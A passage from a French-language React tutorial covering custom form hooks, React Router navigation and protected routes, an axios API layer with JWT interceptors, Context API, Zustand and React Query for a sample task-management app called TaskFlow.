      const { name } = e.target;
      setTouched(prev => ({ ...prev, [name]: true }));
      const fieldErrors = validate(values);
      setErrors(prev => ({ ...prev, [name]: fieldErrors[name] }));
    }, [values, validate]);

    const handleSubmit = useCallback((onSubmit) => async (e) => {
      e.preventDefault();
      const allTouched = Object.keys(values).reduce((acc, k) => ({ ...acc, [k]: true }), {});
      setTouched(allTouched);
      const validationErrors = validate(values);
      setErrors(validationErrors);
      if (Object.keys(validationErrors).length > 0) return;
      setIsSubmitting(true);
      try { await onSubmit(values); } finally { setIsSubmitting(false); }
    }, [values, validate]);

    const reset = useCallback(() => {
      setValues(initialValues);
      setErrors({});
      setTouched({});
    }, [initialValues]);

    const isValid = Object.keys(validate(values)).length === 0;

    return { values, errors, touched, isSubmitting, isValid,
             handleChange, handleBlur, handleSubmit, reset };
  }

  // Utilisation :
  const { values, errors, touched, isSubmitting, handleChange, handleBlur, handleSubmit } =
    useForm(
      { title: '', priority: 'medium', dueDate: '' },
      {
        title: [
          (v) => !v?.trim() ? 'Titre obligatoire' : null,
          (v) => v?.length < 3 ? 'Au moins 3 caractères' : null,
        ],
      }
    );


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 4
════════════════════════════════════════════════════════════════════════════════

  [OK] useEffect : effets de bord après le render (API, timers, events, DOM)
  [OK] 3 formes : sans deps (chaque render), [] (montage), [deps] (sur changement)
  [OK] Cleanup : return () => {} -> éviter les memory leaks
  [OK] AbortController -> annuler les fetch en cours
  [OK] Cycle de vie : Mount -> Update -> Unmount
  [OK] useRef : référence DOM ou valeur mutable sans re-render
  [OK] useMemo : mémoriser des calculs coûteux
  [OK] useCallback : mémoriser des fonctions (stabilité référentielle)
  [OK] useReducer : state complexe avec logique centralisée
  [OK] Custom Hooks : extraire la logique pour la réutiliser

PROCHAINE PARTIE : React Router (routing) et gestion d'API avec axios
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 4 -> Continuer : react_master_part_5.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 5 : ROUTING, API REST, STATE MANAGEMENT
================================================================================
VERSION 1.0 | CHAPITRES 19–26 | PROJET : TaskFlow v4 SaaS complet
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 19  ->  React Router — Navigation SPA
  CHAPITRE 20  ->  Navigation avancée et routes protégées
  CHAPITRE 21  ->  Fetch et Axios — Couche API
  CHAPITRE 22  ->  Async/Await avancé — Gestion erreurs API
  CHAPITRE 23  ->  Context API — State global simple
  CHAPITRE 24  ->  Redux Toolkit — State global avancé
  CHAPITRE 25  ->  Zustand — Alternative légère à Redux
  CHAPITRE 26  ->  React Query — Server State Management
  PROJET       ->  TaskFlow v4 — SaaS avec auth + routing + state global
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 19 : REACT ROUTER — NAVIGATION SPA
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
19.1 — QU'EST-CE QU'UNE SPA ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Une SPA (Single Page Application) charge UNE SEULE page HTML.
La navigation entre "pages" est gérée en JavaScript, sans rechargement.

  Application traditionnelle :
    Clic sur lien -> Requête serveur -> Nouvelle page HTML -> Rechargement

  SPA React :
    Clic sur lien -> React Router -> Nouveau composant -> Pas de rechargement
    L'URL change mais le navigateur ne recharge pas la page.

React Router est la bibliothèque de routing standard pour React.
Version utilisée dans ce guide : React Router v6 (version actuelle).

  Installation :
    npm install react-router-dom

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
19.2 — CONFIGURATION DE BASE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/main.jsx
  import { BrowserRouter } from 'react-router-dom';
  import App from './App';

  ReactDOM.createRoot(document.getElementById('root')).render(
    <React.StrictMode>
      <BrowserRouter>
        <App />
      </BrowserRouter>
    </React.StrictMode>
  );

  // src/App.jsx
  import { Routes, Route, Navigate } from 'react-router-dom';
  import LoginPage from './pages/LoginPage/LoginPage';
  import DashboardPage from './pages/DashboardPage/DashboardPage';
  import TasksPage from './pages/TasksPage/TasksPage';
  import TaskDetailPage from './pages/TaskDetailPage/TaskDetailPage';
  import NotFoundPage from './pages/NotFoundPage/NotFoundPage';

  function App() {
    return (
      <Routes>
        {/* Route exacte */}
        <Route path="/" element={<Navigate to="/dashboard" replace />} />
        <Route path="/login" element={<LoginPage />} />
        <Route path="/dashboard" element={<DashboardPage />} />

        {/* Routes imbriquées */}
        <Route path="/tasks" element={<TasksPage />} />
        <Route path="/tasks/:taskId" element={<TaskDetailPage />} />
        {/* :taskId = paramètre dynamique */}

        {/* 404 */}
        <Route path="*" element={<NotFoundPage />} />
      </Routes>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
19.3 — NAVIGATION AVEC LINK ET USENAVIGATOR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { Link, NavLink, useNavigate } from 'react-router-dom';

  // Link — Navigation déclarative :
  <Link to="/dashboard">Dashboard</Link>
  <Link to="/tasks/42">Voir la tâche</Link>
  <Link to="/tasks?filter=done">Tâches terminées</Link>
  <Link to="/tasks" state={{ from: 'dashboard' }}>Tâches</Link>

  // NavLink — Link avec classe active automatique :
  <NavLink
    to="/dashboard"
    className={({ isActive }) => isActive ? 'nav-link nav-link--active' : 'nav-link'}
  >
    Dashboard
  </NavLink>

  // useNavigate — Navigation programmatique (après login, submit, etc.) :
  function LoginPage() {
    const navigate = useNavigate();

    const handleLogin = async (credentials) => {
      await authApi.login(credentials);
      navigate('/dashboard');           // Aller à dashboard
      navigate('/dashboard', { replace: true }); // Replace history (pas de retour)
      navigate(-1);                     // Retour arrière
      navigate(1);                      // Avancer
    };
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
19.4 — PARAMÈTRES DE ROUTE ET QUERY STRINGS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useParams, useSearchParams, useLocation } from 'react-router-dom';

  // PARAMÈTRES DE ROUTE (:taskId) :
  function TaskDetailPage() {
    const { taskId } = useParams();
    // URL: /tasks/42  ->  taskId = "42" (toujours string !)
    const id = parseInt(taskId);

    const { data: task, isLoading } = useFetch(`/api/tasks/${id}`);
    // ...
  }

  // QUERY PARAMETERS (?filter=done&page=2) :
  function TasksPage() {
    const [searchParams, setSearchParams] = useSearchParams();

    const filter  = searchParams.get('filter')  || 'all';
    const page    = parseInt(searchParams.get('page') || '1');
    const sortBy  = searchParams.get('sort')    || 'createdAt';

    const handleFilterChange = (newFilter) => {
      setSearchParams(prev => {
        const params = new URLSearchParams(prev);
        params.set('filter', newFilter);
        params.set('page', '1');  // Reset page au changement de filtre
        return params;
      });
    };

    // URL: /tasks?filter=done&page=2
  }

  // LOCATION (URL complète, state) :
  function Component() {
    const location = useLocation();
    location.pathname   // '/tasks/42'
    location.search     // '?filter=done'
    location.hash       // '#section-1'
    location.state      // Données passées via navigate(path, { state })
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
19.5 — ROUTES IMBRIQUÉES (NESTED ROUTES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les routes imbriquées permettent de partager un layout entre plusieurs pages.

  // src/App.jsx
  import { Routes, Route, Outlet } from 'react-router-dom';

  // Layout partagé (Header + Sidebar toujours présents) :
  function AppLayout() {
    return (
      <div className="app-layout">
        <Header />
        <Sidebar />
        <main className="app-main">
          <Outlet />   {/* <- Ici s'affichent les pages enfants */}
        </main>
      </div>
    );
  }

  function App() {
    return (
      <Routes>
        {/* Routes publiques (pas de layout) */}
        <Route path="/login"    element={<LoginPage />} />
        <Route path="/register" element={<RegisterPage />} />

        {/* Routes privées (avec layout AppLayout) */}
        <Route element={<AppLayout />}>
          <Route path="/"          element={<Navigate to="/dashboard" replace />} />
          <Route path="/dashboard" element={<DashboardPage />} />
          <Route path="/tasks"     element={<TasksPage />} />
          <Route path="/tasks/:id" element={<TaskDetailPage />} />
          <Route path="/settings"  element={<SettingsPage />} />
          <Route path="/team"      element={<TeamPage />} />
        </Route>

        {/* 404 */}
        <Route path="*" element={<NotFoundPage />} />
      </Routes>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 20 : ROUTES PROTÉGÉES ET AUTHENTIFICATION
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
20.1 — ROUTE GUARD (PROTECTION PAR RÔLE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/components/guards/PrivateRoute.jsx
  import { Navigate, Outlet, useLocation } from 'react-router-dom';
  import { useAuth } from '../../hooks/useAuth';

  function PrivateRoute({ requiredRole = null }) {
    const { user, isLoading } = useAuth();
    const location = useLocation();

    if (isLoading) return <PageLoader />;

    if (!user) {
      // Rediriger vers login en gardant l'URL de destination
      return <Navigate to="/login" state={{ from: location.pathname }} replace />;
    }

    if (requiredRole && user.role !== requiredRole) {
      return <Navigate to="/unauthorized" replace />;
    }

    return <Outlet />;
  }

  // src/App.jsx avec routes protégées :
  function App() {
    return (
      <Routes>
        <Route path="/login" element={<LoginPage />} />

        {/* Routes protégées — utilisateur connecté requis */}
        <Route element={<PrivateRoute />}>
          <Route element={<AppLayout />}>
            <Route path="/dashboard" element={<DashboardPage />} />
            <Route path="/tasks"     element={<TasksPage />} />
            <Route path="/tasks/:id" element={<TaskDetailPage />} />
          </Route>
        </Route>

        {/* Route admin uniquement */}
        <Route element={<PrivateRoute requiredRole="admin" />}>
          <Route element={<AppLayout />}>
            <Route path="/admin" element={<AdminPage />} />
          </Route>
        </Route>

        <Route path="*" element={<NotFoundPage />} />
      </Routes>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
20.2 — REDIRECTION APRÈS LOGIN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  function LoginPage() {
    const navigate = useNavigate();
    const location = useLocation();
    const { login } = useAuth();

    // Récupérer l'URL d'origine (si redirigé depuis PrivateRoute)
    const from = location.state?.from || '/dashboard';

    const handleSubmit = async (credentials) => {
      await login(credentials);
      navigate(from, { replace: true });  // Retourner à la page d'origine
    };
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 21 : AXIOS — COUCHE API PROFESSIONNELLE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
21.1 — POURQUOI AXIOS ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  fetch vs axios :
    fetch   -> natif du navigateur, minimal, verbeux
    axios   -> bibliothèque tierce, plus de features, plus simple

  Avantages d'axios :
    • Transforme automatiquement JSON (pas besoin de .json())
    • Rejette automatiquement les erreurs HTTP (4xx, 5xx)
    • Intercepteurs (inject token, catch errors globalement)
    • Timeout intégré
    • Annulation des requêtes (CancelToken ou AbortController)
    • Support IE/navigateurs anciens

  npm install axios

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
21.2 — CONFIGURATION AXIOS (INSTANCE GLOBALE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/api/axios.config.js
  import axios from 'axios';

  const api = axios.create({
    baseURL: import.meta.env.VITE_API_URL || 'http://localhost:3001/api',
    timeout: 10000,  // 10 secondes max
    headers: {
      'Content-Type': 'application/json',
    },
  });

  // INTERCEPTEUR REQUEST — Injecter le token JWT :
  api.interceptors.request.use(
    (config) => {
      const token = localStorage.getItem('taskflow_token');
      if (token) {
        config.headers.Authorization = `Bearer ${token}`;
      }
      return config;
    },
    (error) => Promise.reject(error)
  );

  // INTERCEPTEUR RESPONSE — Gestion globale des erreurs :
  api.interceptors.response.use(
    (response) => response.data,  // Retourner directement response.data
    (error) => {
      const { response } = error;

      if (response) {
        switch (response.status) {
          case 401:
            // Token expiré -> déconnecter
            localStorage.removeItem('taskflow_token');
            window.location.href = '/login';
            break;
          case 403:
            // Accès interdit
            throw new Error('Accès interdit');
          case 404:
            throw new Error('Ressource non trouvée');
          case 422:
            // Erreur de validation
            throw { message: 'Données invalides', errors: response.data.errors };
          case 500:
            throw new Error('Erreur serveur. Réessayez plus tard.');
          default:
            throw new Error(response.data?.message || 'Erreur inconnue');
        }
      } else if (error.request) {
        // Pas de réponse (réseau down)
        throw new Error('Pas de connexion réseau');
      } else {
        throw new Error(error.message);
      }

      return Promise.reject(error);
    }
  );

  export default api;

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
21.3 — COUCHE API TASKFLOW COMPLÈTE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/api/tasks.api.js
  import api from './axios.config';

  export const tasksApi = {
    // GET /api/tasks?status=todo&priority=high&page=1&limit=20
    getAll: (params = {}) => api.get('/tasks', { params }),

    // GET /api/tasks/:id
    getById: (id) => api.get(`/tasks/${id}`),

    // POST /api/tasks
    create: (taskData) => api.post('/tasks', taskData),

    // PATCH /api/tasks/:id
    update: (id, updates) => api.patch(`/tasks/${id}`, updates),

    // DELETE /api/tasks/:id
    delete: (id) => api.delete(`/tasks/${id}`),

    // PATCH /api/tasks/:id/complete
    complete: (id) => api.patch(`/tasks/${id}/complete`),

    // GET /api/tasks/stats
    getStats: () => api.get('/tasks/stats'),
  };

  // src/api/auth.api.js
  import api from './axios.config';

  export const authApi = {
    login: (credentials) => api.post('/auth/login', credentials),
    register: (userData) => api.post('/auth/register', userData),
    logout: () => api.post('/auth/logout'),
    getMe: () => api.get('/auth/me'),
    refreshToken: () => api.post('/auth/refresh'),
    forgotPassword: (email) => api.post('/auth/forgot-password', { email }),
    resetPassword: (token, password) => api.post('/auth/reset-password', { token, password }),
  };

  // src/api/index.js — Export centralisé
  export { tasksApi } from './tasks.api';
  export { authApi }  from './auth.api';


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 23 : CONTEXT API — STATE GLOBAL SIMPLE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
23.1 — QU'EST-CE QUE LE CONTEXT ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Context API permet de partager des données à travers l'arbre de composants
SANS passer de props à chaque niveau (résout le prop drilling).

  SANS Context :
    App (user) -> Dashboard (user) -> Sidebar (user) -> Avatar (user) <- utilisateur

  AVEC Context :
    AuthContext.Provider (user)
      ├── Dashboard     <- peut accéder à user directement
      │   └── Sidebar   <- peut accéder à user directement
      └── Avatar        <- peut accéder à user directement

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
23.2 — CONTEXT D'AUTHENTIFICATION COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/contexts/AuthContext.jsx
  import { createContext, useContext, useState, useEffect, useCallback } from 'react';
  import { authApi } from '../api/auth.api';

  // 1. Créer le contexte
  const AuthContext = createContext(null);

  // 2. Créer le Provider
  export function AuthProvider({ children }) {
    const [user, setUser]       = useState(null);
    const [isLoading, setIsLoading] = useState(true);  // Vérifier le token au démarrage

    // Vérifier le token existant au montage
    useEffect(() => {
      const token = localStorage.getItem('taskflow_token');
      if (!token) {
        setIsLoading(false);
        return;
      }

      authApi.getMe()
        .then(userData => setUser(userData))
        .catch(() => {
          localStorage.removeItem('taskflow_token');
        })
        .finally(() => setIsLoading(false));
    }, []);

    const login = useCallback(async (credentials) => {
      const { token, user: userData } = await authApi.login(credentials);
      localStorage.setItem('taskflow_token', token);
      setUser(userData);
      return userData;
    }, []);

    const register = useCallback(async (userData) => {
      const { token, user: newUser } = await authApi.register(userData);
      localStorage.setItem('taskflow_token', token);
      setUser(newUser);
      return newUser;
    }, []);

    const logout = useCallback(async () => {
      await authApi.logout().catch(() => {});  // Ignore l'erreur réseau
      localStorage.removeItem('taskflow_token');
      setUser(null);
    }, []);

    const updateUser = useCallback((updates) => {
      setUser(prev => ({ ...prev, ...updates }));
    }, []);

    const value = {
      user,
      isLoading,
      isAuthenticated: !!user,
      login,
      register,
      logout,
      updateUser,
    };

    return (
      <AuthContext.Provider value={value}>
        {children}
      </AuthContext.Provider>
    );
  }

  // 3. Hook custom pour utiliser le contexte
  export function useAuth() {
    const context = useContext(AuthContext);
    if (!context) {
      throw new Error('useAuth doit être utilisé dans un AuthProvider');
    }
    return context;
  }

  // 4. Wrapper dans main.jsx
  ReactDOM.createRoot(document.getElementById('root')).render(
    <React.StrictMode>
      <BrowserRouter>
        <AuthProvider>
          <App />
        </AuthProvider>
      </BrowserRouter>
    </React.StrictMode>
  );

  // 5. Utilisation dans n'importe quel composant
  function Header() {
    const { user, logout } = useAuth();

    return (
      <header>
        <span>Connecté en tant que {user.name}</span>
        <button onClick={logout}>Déconnexion</button>
      </header>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
23.3 — CONTEXT UI (THÈME, LANGUE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/contexts/UIContext.jsx
  import { createContext, useContext, useState, useEffect } from 'react';

  const UIContext = createContext(null);

  export function UIProvider({ children }) {
    const [theme, setTheme]   = useState(() =>
      localStorage.getItem('theme') || 'light'
    );
    const [sidebarOpen, setSidebarOpen] = useState(true);
    const [notifications, setNotifications] = useState([]);

    useEffect(() => {
      document.documentElement.setAttribute('data-theme', theme);
      localStorage.setItem('theme', theme);
    }, [theme]);

    const toggleTheme = () =>
      setTheme(prev => prev === 'light' ? 'dark' : 'light');

    const addNotification = (notification) => {
      const id = Date.now();
      setNotifications(prev => [...prev, { ...notification, id }]);
      setTimeout(() => removeNotification(id), notification.duration || 5000);
    };

    const removeNotification = (id) => {
      setNotifications(prev => prev.filter(n => n.id !== id));
    };

    return (
      <UIContext.Provider value={{
        theme, toggleTheme,
        sidebarOpen, setSidebarOpen,
        notifications, addNotification, removeNotification,
      }}>
        {children}
      </UIContext.Provider>
    );
  }

  export const useUI = () => {
    const ctx = useContext(UIContext);
    if (!ctx) throw new Error('useUI doit être dans UIProvider');
    return ctx;
  };

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
23.4 — QUAND UTILISER CONTEXT ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  [OK] Données vraiment globales : user, theme, langue, notifications
  [OK] Données qui changent rarement
  [X] Données qui changent souvent (re-render de TOUS les consumers)
  [X] State local d'une page (utiliser useState dans la page)
  [X] State serveur complexe (utiliser React Query)


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 24 : ZUSTAND — STATE MANAGEMENT LÉGER
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
24.1 — POURQUOI ZUSTAND ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  Context API -> Simple mais re-render global si store change
  Redux       -> Puissant mais verbose, beaucoup de boilerplate
  Zustand     -> Simple, léger, performant, zéro boilerplate

  npm install zustand

  Avantages Zustand :
    • API minimaliste (< 100 lignes de code interne)
    • Pas de Provider nécessaire
    • Sélecteurs pour éviter les re-renders inutiles
    • Devtools intégrés
    • Persitence localStorage facile

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
24.2 — STORE TASKS AVEC ZUSTAND
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/store/tasks.store.js
  import { create } from 'zustand';
  import { devtools, persist } from 'zustand/middleware';
  import { tasksApi } from '../api/tasks.api';

  const useTasksStore = create(
    devtools(
      // persist() pour sauvegarder en localStorage :
      // persist(
      (set, get) => ({
        // === STATE ===
        tasks:     [],
        isLoading: false,
        error:     null,
        filter:    'all',
        sortBy:    'createdAt',
        searchQuery: '',

        // === ACTIONS ===
        setFilter:      (filter)   => set({ filter }),
        setSortBy:      (sortBy)   => set({ sortBy }),
        setSearchQuery: (query)    => set({ searchQuery: query }),

        fetchTasks: async () => {
          set({ isLoading: true, error: null });
          try {
            const tasks = await tasksApi.getAll();
            set({ tasks, isLoading: false });
          } catch (err) {
            set({ error: err.message, isLoading: false });
          }
        },

        addTask: async (taskData) => {
          try {
            const newTask = await tasksApi.create(taskData);
            set(state => ({ tasks: [newTask, ...state.tasks] }));
            return newTask;
          } catch (err) {
            set({ error: err.message });
            throw err;
          }
        },

        updateTask: async (id, updates) => {
          // Optimistic update :
          const previousTasks = get().tasks;
          set(state => ({
            tasks: state.tasks.map(t => t.id === id ? { ...t, ...updates } : t)
          }));

          try {
            const updated = await tasksApi.update(id, updates);
            set(state => ({
              tasks: state.tasks.map(t => t.id === id ? updated : t)
            }));
          } catch (err) {
            // Rollback si erreur :
            set({ tasks: previousTasks, error: err.message });
            throw err;
          }
        },

        deleteTask: async (id) => {
          const previousTasks = get().tasks;
          set(state => ({ tasks: state.tasks.filter(t => t.id !== id) }));

          try {
            await tasksApi.delete(id);
          } catch (err) {
            set({ tasks: previousTasks, error: err.message });
            throw err;
          }
        },

        completeTask: (id) => {
          return get().updateTask(id, { status: 'done', completedAt: new Date() });
        },

        // SÉLECTEUR (données dérivées) — calculé à la demande :
        getFilteredTasks: () => {
          const { tasks, filter, searchQuery, sortBy } = get();
          const PRIORITY_ORDER = { critical: 0, high: 1, medium: 2, low: 3 };
          return tasks
            .filter(t => filter === 'all' || t.status === filter)
            .filter(t => !searchQuery ||
              t.title.toLowerCase().includes(searchQuery.toLowerCase()))
            .sort((a, b) => {
              if (sortBy === 'priority') return PRIORITY_ORDER[a.priority] - PRIORITY_ORDER[b.priority];
              if (sortBy === 'dueDate')  return new Date(a.dueDate) - new Date(b.dueDate);
              return new Date(b.createdAt) - new Date(a.createdAt);
            });
        },
      }),
      { name: 'tasks-store' }  // Nom pour DevTools
    )
  );

  export default useTasksStore;

  // Utilisation avec sélecteurs (évite re-render si seule tasks change) :
  function TaskList() {
    // [OK] Sélecteur granulaire -> re-render seulement si filteredTasks change :
    const filteredTasks = useTasksStore(state => state.getFilteredTasks());
    const isLoading     = useTasksStore(state => state.isLoading);
    const deleteTask    = useTasksStore(state => state.deleteTask);
    const completeTask  = useTasksStore(state => state.completeTask);

    if (isLoading) return <Spinner />;

    return (
      <ul>
        {filteredTasks.map(task => (
          <li key={task.id}>
            <TaskCard
              task={task}
              onDelete={deleteTask}
              onComplete={completeTask}
            />
          </li>
        ))}
      </ul>
    );
  }

  // Charger les tâches au montage :
  function TasksPage() {
    const fetchTasks = useTasksStore(state => state.fetchTasks);

    useEffect(() => {
      fetchTasks();
    }, [fetchTasks]);
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 25 : REACT QUERY — SERVER STATE MANAGEMENT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
25.1 — CLIENT STATE vs SERVER STATE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  Client state : UI state (modal ouvert, filtre actif, theme)
                -> useState, Zustand, Context

  Server state : Données du serveur (tâches, users, projets)
                -> Async, peut être périmé, besoin de sync
                -> React Query (TanStack Query) est FAIT pour ça

  React Query gère automatiquement :
    • Chargement et erreurs
    • Cache (ne refetch pas si déjà récent)
    • Revalidation en arrière-plan
    • Synchronisation entre onglets
    • Retry automatique
    • Mutations optimistes

  npm install @tanstack/react-query @tanstack/react-query-devtools

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
25.2 — CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/main.jsx
  import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
  import { ReactQueryDevtools } from '@tanstack/react-query-devtools';

  const queryClient = new QueryClient({
    defaultOptions: {
      queries: {
        staleTime:    1000 * 60 * 5,  // 5 min -> données "fraîches"
        retry:        3,              // 3 tentatives si erreur
        refetchOnWindowFocus: true,  // Refetch si l'onglet reprend le focus
      },
      mutations: {
        retry: 1,
      },
    },
  });

  ReactDOM.createRoot(document.getElementById('root')).render(
    <React.StrictMode>
      <QueryClientProvider client={queryClient}>
        <BrowserRouter>
          <AuthProvider>
            <App />
          </AuthProvider>
        </BrowserRouter>
        <ReactQueryDevtools initialIsOpen={false} />
      </QueryClientProvider>
    </React.StrictMode>
  );

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
25.3 — USEQUERY ET USEMUTATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';
  import { tasksApi } from '../api/tasks.api';

  // QUERY KEYS — Identifient le cache :
  export const TASK_KEYS = {
    all:    ['tasks'],
    lists:  () => [...TASK_KEYS.all, 'list'],
    list:   (filters) => [...TASK_KEYS.lists(), filters],
    detail: (id) => [...TASK_KEYS.all, 'detail', id],
  };

  // HOOK — Récupérer les tâches :
  function useTasks(filters = {}) {
    return useQuery({
      queryKey: TASK_KEYS.list(filters),
      queryFn: () => tasksApi.getAll(filters),
    });
  }

  // HOOK — Récupérer une tâche :
  function useTask(id) {
    return useQuery({
      queryKey: TASK_KEYS.detail(id),
      queryFn: () => tasksApi.getById(id),
      enabled: !!id,  // N'exécute pas si id est null/undefined
    });
  }

  // HOOK — Créer une tâche :
  function useCreateTask() {
    const queryClient = useQueryClient();

    return useMutation({
      mutationFn: (taskData) => tasksApi.create(taskData),

      // Mise à jour optimiste :
      onMutate: async (newTask) => {
        // Annuler les refetch en cours
        await queryClient.cancelQueries({ queryKey: TASK_KEYS.lists() });

        // Sauvegarder l'état précédent
        const previousTasks = queryClient.getQueryData(TASK_KEYS.lists());

        // Mise à jour optimiste du cache
        queryClient.setQueryData(TASK_KEYS.lists(), old => [
          { ...newTask, id: Date.now(), status: 'todo' },
          ...(old || []),
        ]);

        return { previousTasks };
      },

      onError: (err, newTask, context) => {
        // Rollback si erreur
        queryClient.setQueryData(TASK_KEYS.lists(), context.previousTasks);
      },

      onSuccess: () => {
        // Invalider le cache pour forcer un refetch
        queryClient.invalidateQueries({ queryKey: TASK_KEYS.lists() });
      },
    });
  }

  // HOOK — Supprimer une tâche :
  function useDeleteTask() {
    const queryClient = useQueryClient();

    return useMutation({
      mutationFn: (id) => tasksApi.delete(id),
      onSuccess: (_, id) => {
